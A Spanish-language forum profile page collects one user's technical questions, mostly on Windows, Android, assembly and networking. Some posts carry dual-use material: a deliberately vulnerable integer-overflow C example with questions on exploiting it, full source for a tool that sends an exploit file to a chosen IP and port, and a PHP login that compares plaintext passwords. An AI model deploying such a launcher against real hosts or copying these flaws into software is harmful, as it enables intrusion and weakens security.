Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Vaagish

#1
Hola chicos, tengo una duda que quisiera aclarar antes de hacer alguna macana..

Recientemente compre una notebook con windows 8.1 preinstalado,, ya saben como es eso.. todas vienen asi ahora..

Lo que no estoy seguro es:

Yo ya hice una imagen de todas las particiones apenas comprada la computadora, o sea que tengo la imagen tal y cual venia de fabrica. Yo le quiero poner un kali, o un win 7, pero si el dia de mañana quiero restaurar desde esa imagen, tengo que particionar todo como estaba antes? o al recuperar desde una imagen se particionan los discos y se copia la informacion automaticamente? Pregunto porque de ser asi, me tengo que anotar los tamaños de las particiones y demas..

Ha,, y supongo que la licencia queda funcional automaticamente al restaurar el win 8.1 original.. no?

Muchas gracias!!
#2
Hola chicos!

Resulta que estoy haciendo un trabajo para una empresa que tiene unas cuantas pc's, algunas con windows 7 y otras con 8.

Estoy encargado de los respaldos de las maquinas y de su correcto funcionamiento.. yo pensé en principio pedirles un disco de 1Tb para guardar "imágenes de sistema" de todas las pcs.. pero después se me ocurrió respaldar todo en la nube.

He leido que existen formas en windows 8 para sincronizar los archivos constantemente en la nube, parece una linda opción.. y supongo que algún soft también existirá para windows 7.

Ustedes que creen? Mas vale la pena un servicio en la nube que un disco de un tera?

Yo tiro mas por la idea de la nube ahora. Respaldos constantes, siempre accesibles.. parece lo mejor..

Saludos! Gracias!
#3
Windows / Recuperar SO de fabrica POST windows 10
30 Noviembre 2015, 21:07 PM
Hola! Espero alguien pueda ayudarme..

Resulta que estoy tratando de hacer un downgrade de win 10 a win 8 (quiero recuperar el SO de fabrica pre instalado), pero resulta que el cliente ya hace mas de 1 mes que hizo la actualización y por ende no tiene la "imagen" de windows 8 (windows.old) en el disco duro.

Trate con las opciones de recuperación que trae win 10, pero nada..

1 - Desde volver a la ultima compilación: Me "reinstala" un win 10
2 - No tengo la opción de "Usar imagen del fabricante" (¿Se lo comió win 10?)
3 - No tengo un punto de restauración previo a windows 10 (o se lo comió win 10)
4 - Windows 10 apesssta (Eso no es un item, pero quería decirlo)

Bueno, la cosa es que puedo instalar un windows 8 pirulete.. pero no quiero perder el serial de fabrica!! Se podra conseguir la imagen original de todas formas? Con su correspondiente serial?

Las PC's son lenovo C204 "All in One"

Desde ya, si alguien puede ayudar.. Muchas Gracias!

Saludos!!
#4
GNU/Linux / Problema con terminal "^[[A"
17 Noviembre 2015, 00:39 AM
Hola chicos,, se me presenta este problema en kali light que me esta volviendo loco...

Cuando aprieto las flechas en la terminal me sale esto:

Flecha arriba: ^[[A
Flecha abajo: ^[[B
Flecha derecha: ^[[C
Flecha izquierda: ^[[D

Como podria arreglar este asunto? El idioma configurado es Español, tanto del SO, como el del teclado.. Lo peor es que no funcione la flecha arriba, porque no puedo navegar en el historial, teniendo que escribir todos los comandos una y otra vez.. bastante tedioso..

Gracias! Saludos!

PD: Haa.. me pasa solo con el usuario "normal",, si hago por ej: su y me logueo como admin, funciona bien... :/

EDITADO:

Solución al problema:

En una terminal como root poner:
chsh -s /bin/bash aca_el_user

Eso cambia la shell por defecto a bash
#5
Hola!!

Estoy haciendo unas pruebas para enviar video en vivo en una web y me tope con esto:

http://html5facil.com/tutoriales/streaming-de-video-con-html5/

http://www.webrtc.org/

La web que estoy montando puede que tenga unas cuantas visitas un determinado dia X. Con esto quiero decir.. puede que solamente haga streaming una vez y que la cantidad de usuarios conectados sea mucha. Mi gran duda es saber si esta tecnologia aguantaria muchas conexiones simultaneas y que tan buena seria la conexion..

Tambien acepto consejos, tips, otras formas de hacerlo.. lo que sea :D

Muchas Gracias! Saludos!
#6
Chicos.. hoy no puedo entrar al foro como siempre.. quiero entrar desde chrome y no puedo.. ahora estoy usando un firefox desactualizado... me sale esto:



O esto otro si hago click en el hipervinculo:



Que puede ser???

Saludos!
#7
Bugs y Exploits / Dudas con Integer Overflow
2 Septiembre 2015, 23:45 PM
Hola chicos!

Estoy lidiando con un programa que tiene un fallo de integer overflow y no soy precisamente un 'experto' en estos temas del reversing.. u.u

Me estoy basando en este texto para aprender sobre el asunto: http://phrack.org/issues/60/10.html

Por lo que entiendo en este code (que esta muy bien explicado):

Código (cpp) [Seleccionar]
    /* width1.c - exploiting a trivial widthness bug */
    #include <stdio.h>
    #include <string.h>

    int main(int argc, char *argv[]){
            unsigned short s;
            int i;
            char buf[80];

            if(argc < 3){
                    return -1;
            }

            i = atoi(argv[1]);
            s = i;

            if(s >= 80){            /* [w1] */
                    printf("Oh no you don't!\n");
                    return -1;
            }

            printf("s = %d\n", s);

            memcpy(buf, argv[2], i);
            buf[i] = '\0';
            printf("%s\n", buf);

            return 0;
    }


El problema esta cuando se le pasa como argumento a ese programa un numero mayor que 65535, ya que luego se va a tratar como un "unsigned short",, aca el disassembly:

Código (asm) [Seleccionar]
CPU Disasm
Address   Hex dump                  Command                                  Comments
009012B8  |.  FF73 04               PUSH DWORD PTR DS:[EBX+4]                ; /Arg1 = ASCII "65536"
009012BB  |.  FF15 B8309000         CALL DWORD PTR DS:[<&MSVCR120.atoi>]     ; \MSVCR120.atoi
009012C1  |.  8BF8                  MOV EDI,EAX
009012C3  |.  83C4 04               ADD ESP,4
009012C6  |.  66:83FF 50            CMP DI,50
009012CA  |.  72 17                 JB SHORT 009012E3
009012CC  |.  68 8C319000           PUSH OFFSET 0090318C     ; "Oh no youdon't!"
009012D1  |.  FF15 B4309000         CALL DWORD PTR DS:[<&MSVCR120.printf>]
009012D7  |.  83C4 04               ADD ESP,4
009012DA  |.  83C8 FF               OR EAX,FFFFFFFF
009012DD  |.  5F                    POP EDI
009012DE  |.  5B                    POP EBX
009012DF  |.  8BE5                  MOV ESP,EBP
009012E1  |.  5D                    POP EBP
009012E2  |.  C3                    RETN
009012E3  |>  0FB7C7                MOVZX EAX,DI
009012E6  |.  50                    PUSH EAX
009012E7  |.  68 A0319000           PUSH OFFSET 009031A0    ; ASCII "s = %d"
009012EC  |.  FF15 B4309000         CALL DWORD PTR DS:[<&MSVCR120.printf>]


Bueno, a mi entender el mayor problema es la linea 7. Comparar el valor 10000 con 50 (hexadecimal), el programa se saltea el " if (s >= 80) " y luego falla en memcpy, mas precisamente aca:

Código (asm) [Seleccionar]
CPU Disasm
Address   Hex dump                   Command                                            Comments
58D2F608  />  F3:A5                  REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]


Se copia de esi a edi un valor muy grande y su respectiva violacion de segmento.

En el texto aclara esto:

CitarInteger overflows are not like most common bug classes.  They do not allow
direct overwriting of memory or direct execution flow control, but are much
more subtle.  The root of the problem lies in the fact that there is no way
for a process to check the result of a computation after it has happened,
so there may be a discrepancy between the stored result and the correct
result.  Because of this, most integer overflows are not actually
exploitable.  Even so, in certain cases it is possible to force a crucial
variable to contain an erroneous value, and this can lead to problems later
in the code.

Y tambien aclara esto:

CitarThe length argument is taken from the command line and held in the integer
i.  When this value is transferred into the short integer s, it is
truncated if the value is too great to fit into s (i.e. if the value is
greater than 65535).  Because of this, it is possible to bypass the bounds
check at [w1] and overflow the buffer.  After this, standard stack smashing
techniques can be used to exploit the process.

Cuando yo pruebo el programa que estoy tratando de arreglar, a veces logro ejecutar los tipicos '41414141' y otras veces no, o sea.. el programa falla en direcciones diferentes todas las veces, tiene remedio eso? Puedo forzar la direccion donde quiero que falle??

1 - Yo me quedo con la duda de como es posible que sin saber el resultado final del buffer igual sea posible ejecutar codigo arbitrario.. dice que con metodos estandar se puede, pero yo no encuentro forma..

2 - Asi que no siempre es explotable esta situacion?

Gracias por leer todo eso!! Saludos!!!
#8
Hola chicos/as

Estoy tratando de attachear ida a android,, por lo que he leido se puede hacer con gdbserver, el cual ya viene en las maquinas virtuales de android (AVD).

Y usando ndk-gdb, gdb, o ida mismo.

EDITADO:

Logre conectar ida a android seleccionando la opcion "Debugger/Attach/Remote GDB Debugger", pero la interfaz de IDA me muestra todo mal ¬¬, los registros y el assemby estan todos colapsados, no se si es bug de ida o que &%%&/!




Por que puede ser que sa vea asi de mal en ida??

Saludos! Gracias
#9
Hola! Navegando un poco por youtube me encontré con este documental.. un poco viejo (lo se por los monitores xD) pero interesante..

[youtube=640,360]https://www.youtube.com/watch?v=wEtNfRhicr8[/youtube]

Fuerza bruta? Si eso se aplicaba hace tantos años, por que no se va a romper igual una clave hoy dia? ¬¬

No se dejen llevar por la captura de youtube, el video es un poco mas actual que eso  :rolleyes:

Saludos!
#10
Hola!

Primero que nada, perdon si este no es el mejor lugar para el tema, es lo mejor que se me ocurrio, ya casi ni leo u.u

Estoy tratando de depurar una aplicacion en android, tengo un dispositivo emulado al cual puedo depurar sin problemas,, es decir, abro el Android Device Monitor y veo los procesos, los Threads, el Heap,, etc, etc..

Quisiera depurar de la misma manera un dispositivo usb, al conectarlo lo reconoce, pero no en modo debugg,, lo veo en el ADM, pero no dice debug y por ende no veo los procesos, ni nada,, solo el nombre.. a si, y el File Explorer.. nada mas.

Ya esta en modo "desarrollador", y con la opcion "Depuracion de USB" activada..

Que puede estar pasando? Por que no se ven los procesos? :/

Saludos! Gracias!!
#11
Hola!

Capaz que es una pregunta estupida, pero no encuentro como solucionar esto:

Necesito obtener la direccion a una funcion...

Podria usar un puntero a funcion, pero esa no seria la direccion "real", sino que me devuelve la direccion a un JMP "direccion que quiero"

Gracias! Saludos!
#12
Hola!

Estoy tratando de cargar un driver en win7, pero el "loader" me devuelve el codigo de error 0xC0000061 - STATUS_PRIVILEGE_NOT_HELD

El driver es un simple driver de prueba.. solo tiene estas rutinas:

Código (cpp) [Seleccionar]
NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath);
NTSTATUS DriverCreate (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS DriverClose (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS DriverUnload (IN PDRIVER_OBJECT DriverObject);


Por lo que lei, deberia usar SeAssignSecurity, pero no estoy seguro en donde ni para que..

La sintaxis es esta:

Código (cpp) [Seleccionar]
NTSTATUS SeAssignSecurity(
  _In_opt_  PSECURITY_DESCRIPTOR      ParentDescriptor,
  _In_opt_  PSECURITY_DESCRIPTOR      ExplicitDescriptor,
  _Out_     PSECURITY_DESCRIPTOR      *NewDescriptor,
  _In_      BOOLEAN                   IsDirectoryObject,
  _In_      PSECURITY_SUBJECT_CONTEXT SubjectContext,
  _In_      PGENERIC_MAPPING          GenericMapping,
  _In_      POOL_TYPE                 PoolType
);


Donde deberia implementar dicha funcion? DriverEntry quizas? Y que consigo? Elevar los permisos de dicho objeto?

Bueno, eso es lo que me preocupa..

Gracias! Saludos!
#13
Hola, estoy haciendo unas pruebas con conexiones UDP, en realidad estoy en Blitz3D pero cualquier ayuda me va a venir bien, si no corresponde el tema en este sub foro, perdon..

Tengo algo asi como una aplicacion de consola, un cliente y un server, la idea es establecer una conexion UDP y poder testear la velocidad de la conexion,,

La pregunta seria: ¿como? Como hago para saber el tiempo exacto que demoro en llegar un dato de un pc al otro?

Algo asi como un comando Ping

bueno, cualquier cosa sirve,, idea o codigo ejemplo, ya sea en C o C++, yo lo adapto a Blitz

Gracias!! Saludos!!
#15
Hola! Hace tiempo no pasaba por estos lados..

Estoy revisando el código de KolibriOS, mas específicamente la parte de video, y me encuentro con esto:

Código (asm) [Seleccionar]
struc VBE_VGAInfo {
  .VESASignature          dd ?    ; char
  .VESAVersion            dw ?    ; short
  .OemStringPtr           dd ?    ; char *
  .Capabilities           dd ?    ; ulong
  .VideoModePtr           dd ?    ; ulong
  .TotalMemory            dw ?    ; short
  ; VBE 2.0+
  .OemSoftwareRev         db ?    ; short
  .OemVendorNamePtr       dw ?    ; char *
  .OemProductNamePtr      dw ?    ; char *
  .OemProductRevPtr       dw ?    ; char *
  .reserved               rb 222  ; char
  .OemData                rb 256  ; char
}

struc VBE_ModeInfo {
  .ModeAttributes         dw ?    ; short
  .WinAAttributes         db ?    ; char
  .WinBAttributes         db ?    ; char
  .WinGranularity         dw ?    ; short
... ; MUCHOS CAMPOS MAS, LOS RECORTO PARA AHORRAR ESPACIO
  .LinRsvdFieldPosition   db ?    ; char
  .MaxPixelClock          dd ?    ; ulong
  .res2                   rb 190  ; char
}

virtual at $A000
  vi VBE_VGAInfo
  mi VBE_ModeInfo
modes_table:
end virtual


El problema es que kolibri esta ensamblado en FASM (donde existe esa directiva virtual at XXXX), ya vi como funciona "virtual", pero no me doy cuenta como pasarlo a NASM, yo uso la estructura asi:

Código (asm) [Seleccionar]
; =========================== NASM VESA INFORMATION BLOCK ===========================
VESA_Info:
.Signature              db      4      ; VBE Signature
.Version                dw      1      ; VBE Version
.OEMStringPtr           dd      1      ; VbeFarPtr to OEM String
.capabilities           db      4      ; Capabilities of graphics controller
.VideoModePtr           dd      1      ; VbeFarPtr to VideoModeList
.TotalMemory            dw      1      ; Number of 64kb memory blocks
.OEMSoftwareRev         dw      1      ; VBE implementation Software revision
.OEMVendorNamePtr       dd      1      ; VbeFarPtr to Vendor Name String
.OEMProductNamePtr      dd      1      ; VbeFarPtr to Product Name String
.OEMProductRevPtr       dd      1      ; VbeFarPtr to Product Revision String
.Reserved               db      222    ; Reserved for VBE implementation scratch area
.OEMData          db      255    ; Data Area for OEM Strings
; .OEMData db      256    ; Data Area for OEM Strings

; ============================== VESA MODE INFORMATION ==============================
Mode_Info:
.ModeAttributes         dw      1      ; mode attributes
.WinAAttributes         db      1      ; window A attributes
.WinBAttributes         db      1      ; window B attributes
.WinGranularity         dw      1      ; window granularity
... ; CAMPOS OCULTOS
.LinRsvdFieldPos        db      1      ; bit position of lsb of reserved mask (linear modes)
.MaxPixelClock          dd      1      ; maximum pixel clock (in Hz) for graphics mode
.Reserved               db      190    ; remainder of ModeInfoBlock
; ******************************************************************************************


Bueno, y quiero acceder asi:

Código (asm) [Seleccionar]
; =================================================
; Display Vesa version
; =================================================
VESAVER:
mov ax, 0x4f00 ; VESA BIOS function (get BIOS info, if function available)
mov di, VESA_Info ; mov di, 0xA000
int 0x10

cmp  ax, 0x004f ; OK?
je   vesa
jmp  novesaver

vesa:
mov  ax, [es:di+4] ; AH = major, AL = minor version
; mov  dx, ax ; ???
add  ax, 48*256+48 ; convert to ASCII
mov  [vervesa+19], ah ; replace x.x in string with numbers
mov  [vervesa+21], al ; update offsets if string is modified
mov  si, vervesa ; Print Vesa version
call print16
ret

novesaver:
mov  si, novesa
call print16
ret
; ************* END VESAVER *************


Eso funciona, pero hasta ahi.. no puedo mostrar ningun campo mas,, queria mostrar por ejemplo (codigo de Kolibri):

Código (asm) [Seleccionar]
mov  si,word[es:vi.OemStringPtr]
mov  di,si

push ds
mov  ds,word[es:vi.OemStringPtr+2]
call printplain
pop  ds


NOTA: printplain es casi igual a mi print16, es la funcion 0eh - int 10h
NOTA2: Notese que usa "vi" y eso lo declara en virtual, en NASM no tengo eso..


Bueno, espero no haber enredado mucho el asunto y que se entienda.. Gracias por leer y de antemano por la ayuda!

Saludos!
#16
Programación C/C++ / Prototipo "Lanzador Exploit"
16 Diciembre 2014, 04:24 AM
Hola, estoy con este programa y quería (ademas de compartirlo) tener una opinión extra, puede que no este super prolijo, y que algunas cosas se puedan optimizar,, (y probablemente lo haga), pero me gustaría tener una opinión fresca,, que tal el código, el método usado, etc..

El programa abre un archivo que yo guardo como por ej: "Exploit.bin", y puedo elegir enviarlo por un puerto X, a una direccion X por protocolo TCP o UDP (O sea, lanzar un exploit, no?), por otro lado, se puede abrir un programa y pasarle como parametro el exploit,,

Bueno, sin mas.. ahi el code:

Código (cpp) [Seleccionar]
#define WIN32_LEAN_AND_MEAN

#include <Windows.h>
#include <iostream>
#include <fstream>
#include "Sockets.h"
#include "Strings.h"
using namespace std;

int OpenExploit(char * path);
int OpenAndSend(char * LOCAL, char * Exploit);
void ShowHelp(char * Me);

char * DstBuf;

int main(int argc, char *argv[])
{

cout << endl;

if (argc < 2) { ShowHelp(argv[0]); return EXIT_FAILURE; }

char PROTO[5] = "\0",
IP[16] = "\0",
PORT[5] = "\0",
LOCAL[MAX_PATH] = "\0",
EXPIT[MAX_PATH] = "\0";

char ptrOpt[MAX_PATH] = "\0";

for (int i = 1; i < argc; i++)
{
strcpy_s(ptrOpt, MAX_PATH, argv[i]);

if (strncmp(ptrOpt, "-", 1) == 0 || strncmp(ptrOpt, "/", 1) == 0)
{
// ------------------------------------------------- //
if (strstr(ptrOpt, "R") || strstr(ptrOpt, "r")) { // REMOTE EXPLOIT
char * STmp = strtok(argv[i + 1], ":");
if (STmp != NULL) strcpy_s(IP, 15, STmp); // IP
else { ShowHelp(argv[0]); return EXIT_FAILURE; }
STmp = strtok(NULL, ":");
if (STmp != NULL) strcpy_s(PORT, 5, STmp); // PORT
else { ShowHelp(argv[0]); return EXIT_FAILURE; }}
// ------------------------------------------------- //

if (strstr(ptrOpt, "P") || strstr(ptrOpt, "p")) // PROTOCOL
strcpy_s(PROTO, 5, argv[i + 1]);
if (strstr(ptrOpt, "L") || strstr(ptrOpt, "l")) // LOCAL EXPLOIT
strcpy_s(LOCAL, MAX_PATH - 1, argv[i + 1]);
if (strstr(ptrOpt, "X") || strstr(ptrOpt, "x")) // EXPLOIT
strcpy_s(EXPIT, MAX_PATH - 1, argv[i + 1]);
if (strstr(ptrOpt, "H") || strstr(ptrOpt, "h")) // HELP!
{ ShowHelp(argv[0]); return EXIT_SUCCESS; }
}
}

// =============================================================================================================================================

// *********************************
// * REMOTE EXPLOIT PARAMETERS *
// *********************************
if (strcmp(LOCAL, "\0") == 0 && strcmp(IP, "\0") != 0 && strcmp(PORT, "\0") != 0 && strcmp(PROTO, "\0") != 0 && strcmp(EXPIT, "\0") != 0) {

if (strcmp(PROTO, "tcp") == 0 || strcmp(PROTO, "TCP") == 0) {
cout << "\tConnect : TCP" << endl;
} else if (strcmp(PROTO, "udp") == 0 || strcmp(PROTO, "UDP") == 0) {
cout << "\tConnect : UDP" << endl;
} else {
ShowHelp(argv[0]);
return EXIT_FAILURE;
}

cout << "\tIP      : " << IP << endl;
cout << "\tPort    : " << PORT << endl;
cout << "\tExploit : " << EXPIT << endl;

if (OpenExploit(EXPIT) == EXIT_SUCCESS) {
if (ConectAndSend(IP, strtoul(PORT, NULL, 0), PROTO, DstBuf) == EXIT_SUCCESS) {
cout << endl << "\tExploit Send!" << endl;
delete[] DstBuf;
}
}


// *********************************
// * LOCAL EXPLOIT PARAMETERS *
// *********************************
} else if (strcmp(LOCAL, "\0") != 0 && strcmp(IP, "\0") == 0 && strcmp(PORT, "\0") == 0 && strcmp(PROTO, "\0") == 0 && strcmp(EXPIT, "\0") != 0) {

cout << "\tLocal   : " << LOCAL << endl;
cout << "\tExploit : " << EXPIT << endl;

if (OpenExploit(EXPIT) == EXIT_SUCCESS) {
if (OpenAndSend(LOCAL, DstBuf) == EXIT_SUCCESS) {
cout << endl << "\tExploit Send" << endl;
delete[] DstBuf;
}
}

// *************
// * ERROR *
// *************
} else { ShowHelp(argv[0]); return EXIT_FAILURE; }


return EXIT_SUCCESS;
}

int OpenExploit(char *path)
{

ifstream Exploit;

Exploit.open(path, ios::in | ios::binary | ios::ate);

if (Exploit.is_open())
{
streampos size = Exploit.tellg();
DstBuf = new char[size];
Exploit.seekg(0, ios::beg);
Exploit.read(DstBuf, size);
cout << endl << "\tExploit Ready! Size: " << size << endl;
if (Exploit.is_open()) Exploit.close();
return EXIT_SUCCESS;
} else {
cout << endl << "\tError Opening Exploit" << endl;
return EXIT_FAILURE;
}
}

int ConectAndSend(char *IP, DWORD PUERTO, char *PROTO, char *Exploit)
{

int rtn = 0;

WSADATA WSA; //--> ESTRUCTURA WSADATA;
SOCKET Socket; //--> VARIABLE DE TIPO SOCKET
SOCKADDR_IN Server; //--> ESTRUCTURA SOCKADDR_IN

cout << endl;

if ((rtn = WSAStartup(MAKEWORD(2, 2), &WSA)) != 0) {
cout << "\tError WSAStartup: " << rtn << endl;
return EXIT_FAILURE;
}

// TCP!
if (strcmp(PROTO, "tcp") == 0 || strcmp(PROTO, "TCP") == 0) {

if ((Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR) {
cout << "\tError en socket: " << WSAGetLastError() << endl;
WSACleanup();
return EXIT_FAILURE;
}
Server.sin_family = AF_INET;
Server.sin_addr.S_un.S_addr = inet_addr(IP);
Server.sin_port = htons(PUERTO);
if ((rtn = connect(Socket, (struct sockaddr*) &Server, sizeof(Server))) == SOCKET_ERROR) {
cout << "\tError en connect: " << WSAGetLastError() << endl;
closesocket(Socket);
WSACleanup();
return EXIT_FAILURE;
}
if (send(Socket, Exploit, strlen(Exploit), 0) < 0) {
cout << "\tError en Send" << endl;
closesocket(Socket);
WSACleanup();
return EXIT_FAILURE;
}

// UDP!
} else if (strcmp(PROTO, "UDP") == 0 || strcmp(PROTO, "udp") == 0) {

int slen = sizeof(Server);

if ((Socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == SOCKET_ERROR) {
cout << "\tError en socket: " << WSAGetLastError() << endl;
WSACleanup();
return EXIT_FAILURE;
}
Server.sin_family = AF_INET;
Server.sin_addr.S_un.S_addr = inet_addr(IP);
Server.sin_port = htons(PUERTO);
if (sendto(Socket, Exploit, strlen(Exploit), 0, (struct sockaddr *) &Server, slen) == SOCKET_ERROR) {
cout << "\tError en Sendto" << endl;
closesocket(Socket);
WSACleanup();
return EXIT_FAILURE;
}

}

closesocket(Socket);
WSACleanup();
return EXIT_SUCCESS;
}

int OpenAndSend(char *LOCAL, char *Exploit)
{

cout << endl << "\t";

STARTUPINFO lpStartupInfo;
PROCESS_INFORMATION lpProcessInformation;

ZeroMemory(&lpStartupInfo, sizeof(lpStartupInfo));
lpStartupInfo.cb = sizeof(lpStartupInfo);
ZeroMemory(&lpProcessInformation, sizeof(lpProcessInformation));

if (!CreateProcess(LOCAL, Exploit, NULL, NULL, FALSE, 0, NULL, NULL, &lpStartupInfo, &lpProcessInformation))
{
cout << endl << "\tError CreateProcess: " << GetLastError() << endl;
return EXIT_FAILURE;
}

WaitForSingleObject(lpProcessInformation.hProcess, INFINITE);
CloseHandle(lpProcessInformation.hProcess);
CloseHandle(lpProcessInformation.hThread);

return EXIT_SUCCESS;
}

void ShowHelp(char * Me)
{
cout << " USAGE: " << Me << endl << Help << Me << EXAMPLE << endl;
}


Saludos!
#17
PHP / Seguridad Login-Registro PHP/MySql
3 Diciembre 2014, 22:57 PM
Hola!

Estoy realizando una web del estilo compra/venta y aunque me manejo relativamente bien en la programación web, no tengo tanta experiencia formada..

Me gustaría leer de otros usuarios mas experientes, cuales son los mejores métodos para tener un registro y un login seguro en PHP y MySQL..

Estoy viendo de usar algo asi:

Código (php) [Seleccionar]
<?php

include_once(
"functions.php");

$mysqli connect();

$email  mysqli_real_escape_string($mysqlistrip_tags($_POST['emilio']));
$pass mysqli_real_escape_string($mysqlistrip_tags($_POST['psw']));

$stmt $mysqli->prepare("SELECT email, pass FROM users WHERE email = ? AND pass = ?");
$stmt->bind_param('ss'$email$pass);
$stmt->execute();
$stmt->bind_result($Umail$Upass);

if($stmt->fetch() == 'true')
{
echo "Login!!";
} else{
echo "Logout!!";
}

$stmt->close();

?>


functions.php

Código (php) [Seleccionar]
function connect()
{
include_once("db.php");
$mysqli = new mysqli($host, $user, $pass, $db);
if ($mysqli->connect_errno) echo "Fallo al contenctar a MySQL: " . $mysqli->connect_error;
return $mysqli;
}


Ya se que el tema es super extenso, que hay muchas formas de protegerse y lo mejor es combinarlas, se que no solo es cuestión de código, sino de seguridad en el servidor también.. no pretendo una explicación detallada, pero al menos lo fundamental, que no puede faltar!!  :rolleyes:

Voy a numerar las que yo conozco, y si falta algo me ayudan comentando abajo..


  • Usuarios restringidos MySql
  • Cifrado de contraseña
  • Permisos restringidos de las carpetas y archivos PHP
  • Contador de intentos de login
  • Escapar caracteres "malos"

Aclaro.. hablo de lo fundamental, que no debería faltar nunca para un registro/login seguro..

Y por ultimo, no existe algún "proyecto" que facilite todas las funciones de seguridad? O sea,, algún código ya armado y testeado? Aunque sea de pago, vale la pena por la seguridad del sitio..

Saludos! Perdon si es muy largo el post
#18
ASM / Puerto y Memoria Grafica?
1 Noviembre 2014, 22:42 PM
Buenas! Estaba revisando este codigo.. Lo que hace es modificar la paleta de colores y escribir pixeles de colores (en forma de franjas) en la pantalla... al presionar una tecla, modifica la paleta y otra vez lo mismo..

Código (asm) [Seleccionar]
mov ax, 0013h ; Modo Grafico (ah = 00h / al = 13h)
int 10h ; Esta interrupción controla los servicios de pantalla del PC
mov ax, 0A000h ; Direccion de video (grafica)
mov ds, ax  ; DS = A000h (memoria de graficos). DS esta concatenado con DI

; ========== Cambiar paleta de colores ==========

mov dx, 3c8h ; Empezamos a modificar la paleta de colores
mov al, 0    ; Desde la entrada 0
out dx, al
inc dx      ; DX = 3C9h.

mov cx, 10 ; Se van a modificar 10 entradas ( cx se ve afectado con loop )

SigEntrada:    ; Modificar 10 entradas de la paleta

; Rojo.
mov al, 0
mul cl
out dx, al
; Verde
mov al, 0
mul cl
out dx, al
; Azul
mov al, 6
mul cl
out dx, al

  loop SigEntrada

; **************************************

  xor dx, dx
L1: ; Cuando vuelve a esta etiqueta no limpia dx, util para cambiar los colores
mov cx, 64000
  xor bx, bx
  xor di, di

NuevaLinea:
mov [di], dx
inc di
inc bx
cmp bx, 6400
jne SigPixel
xor bx, bx
inc dx
SigPixel:
loop NuevaLinea

; Esperar tecla
mov ah, 10h
int 16h

inc dx ; Otra entrada en la paleta de colores y volver a cargar
jmp L1




Ese codigo es 16-Bits y lo corro en Modo real.. Ahora la pregunta:

Si lograse pasar a modo protegido y quisiese dibujar algo avanzado (digamos, una ventana moderna, con muchos colores y bien ubicados, como un SO moderno) deberia de tener a nivel de nucleo, "algo" que modifique la paleta y haga el respectivo "out", como en ese codigo, verdad? O es de otra forma?

Y de ser así, seria como un driver,, y como podría ser la forma mas "optima" de implementar esa rutina? O algún material de referencia.. Parece trabajo difícil, de mucha matemática  :rolleyes:

Saludos! Gracias!
#19
Hi!

Bueno, no ando mucho por estos lados.. y no he encontrado nada de información..

Es posible extraer o ver el firmware de un pendrive? Existe alguna herramienta?

Gracias! Saludos!

PD: Si este no es el lugar indicado pido disculpas..
#20
Hola!

Estoy armando un programa que modifica la sección .text de un ejecutable..
Uso las estructuras:

Código (cpp) [Seleccionar]
PIMAGE_DOS_HEADER
PIMAGE_NT_HEADERS
PIMAGE_OPTIONAL_HEADER
PIMAGE_SECTION_HEADER


Por lo que entiendo si hago esto:

Código (cpp) [Seleccionar]
// Ajusto el punto de inicio a lo que necesito...

//IOH->AddressOfEntryPoint += 16;
IOH->AddressOfEntryPoint = IOH->BaseOfCode + 16;


Cualquiera de esas dos variantes deberían hacer lo mismo, verdad? Bueno, el problema es que en mi programa de pruebas funciona bien, pero en otros no funciona,, el entrypoint no cambia, y si cambia, lo hace mal..

La pregunta: ¿Puede verse afectado esto por algo asi como un relloc, o hay algo que no tengo en cuanta?

Gracias! Saludos!
#21
Scripting / Analizar Ejecutable En Red?
26 Septiembre 2014, 01:15 AM
Hola!

No estoy seguro si posteo en el Sub-Foro correcto, pero ahi va..

Tengo "a mi disposición" una lan con unas cuantas maquinas, mi intención es: desde una maquina poder enviar un ejecutable a toda la red para que cada una de las maquinas analicen el archivo con un AV (diferente), luego me retornen el resultado del análisis a la pc..

Dicho esto, no se me ocurre bien por donde empezar,, podría hacer un programa y copiarlo en cada maquina, (si es necesario)

Y para rematar, alguien sabe si existe alguna forma de correr el AV sin tenerlo activo todo el tiempo? O sea, que este instalado (o no, de ser posible) y hacer un análisis puntual y volver a cerrarse.. y todo esto sin UI, que el usuario no vea nada del proceso..

Bueno, si hay forma de hacer todo esto seria un lujo para mi.. me ahorraría mucho tiempo..

Saludos!
#22
ASM / RTL_USER_PROCESS_PARAMETERS
22 Julio 2014, 07:02 AM
Hi!
Tengo la estructura RTL_USER_PROCESS_PARAMETERS, de la cual quiero sacar la linea de comandos,, eso lo tengo, esta en CommandLine  pero si quisiera sacar la cantidad de argumentos como podría hacerlo?

Código (asm) [Seleccionar]
Structure RTL_USER_PROCESS_PARAMETERS at 002D1528
Address   Hex dump     Decoded data             Comments
002D1528  AC090000     DD 000009AC              ; MaximumLength = 2476.
002D152C  AC090000     DD 000009AC              ; Length = 2476.
002D1530  01000000     DD 00000001              ; Flags = 1
002D1534  00000000     DD 00000000              ; DebugFlags = 0
002D1538  00000000     DD 00000000              ; ConsoleHandle = NULL
002D153C  00000000     DD 00000000              ; ConsoleFlags = 0
002D1540  00000000     DD 00000000              ; StdInputHandle = NULL
002D1544  00000000     DD 00000000              ; StdOutputHandle = NULL
002D1548  00000000     DD 00000000              ; StdErrorHandle = NULL
002D154C  3A00         DW 3A                    ; CurrentDir_Size = 58.
002D154E  0802         DW 208                   ; CurrentDir_Maxsize = 520.
002D1550  C8202D00     DD 002D20C8              ; CurrentDir = "C:\Users\Central\Desktop\MRS\"
002D1554  0C000000     DD 0000000C              ; CurrentDirectoryHandle = 0000000C
002D1558  FC03         DW 3FC                   ; DllPath_Size = 1020.
002D155A  FE03         DW 3FE                   ; DllPath_Maxlen = 1022.
002D155C  C8192D00     DD 002D19C8              ; DllPath = "C:\Users\Central\Desktop\MRS;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\Program Files\PC Connectivity Solution\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\AT"
002D1560  4800         DW 48                    ; ImagePath_Size = 72.
